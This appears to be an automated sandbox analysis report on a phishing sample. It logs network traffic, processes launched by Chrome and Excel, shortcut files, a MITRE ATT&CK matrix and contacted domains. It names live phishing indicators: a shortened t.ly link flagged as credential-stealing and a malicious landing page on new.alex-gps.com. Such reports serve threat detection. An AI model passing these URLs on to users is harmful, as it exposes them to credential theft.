Source: chromecache_1260.12.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_1261.12.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_1261.12.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_1261.12.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.33.206:443 -> 192.168.2.16:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.84.254:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.254:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.254:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.69.254:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.69.254:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.16:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.19.161:443 -> 192.168.2.16:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.2.14.25:443 -> 192.168.2.16:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.44.254:443 -> 192.168.2.16:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.44.254:443 -> 192.168.2.16:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.140.56.69:443 -> 192.168.2.16:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.123.128.254:443 -> 192.168.2.16:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.123.128.254:443 -> 192.168.2.16:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49811 version: TLS 1.2

Source: classification engine

Classification label: mal92.phis.win@53/20@22/23

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\msoAF31.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{F05A6F5C-42E7-4C08-8A04-7DE1002826EC} - OProcSessId.dat

Jump to behavior

Source: C:\Windows\splwow64.exe

File read: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_b1142994fb10cf54\MPDW-manifest.ini

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2040 --field-trial-handle=1900,i,15553096423479836964,138704252807567035,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" "https://t.ly/2jKWO"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1948,i,18141148504934150785,17011120280769576771,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 8192
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe "C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2040 --field-trial-handle=1900,i,15553096423479836964,138704252807567035,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Chromium\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 8192	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1948,i,18141148504934150785,17011120280769576771,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office

Jump to behavior

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	LLM: Page contains button: 'CLICK HERE' Source: '1.0.pages.csv'
Source: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N	LLM: Page contains button: 'CLICK HERE' Source: '1.1.pages.csv'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 JavaScript	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	2 System Information Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://t.ly/2jKWO	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://www.broofa.com	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
t.ly	104.20.6.133	true	false	unknown
d2vgu95hoyrpkh.cloudfront.net	18.245.31.89	true	false	unknown
plus.l.google.com	142.250.186.142	true	false	unknown
play.google.com	142.250.185.206	true	false	unknown
new.alex-gps.com	201.102.105.236	true	true	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.186.100	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.186.97	true	false	unknown
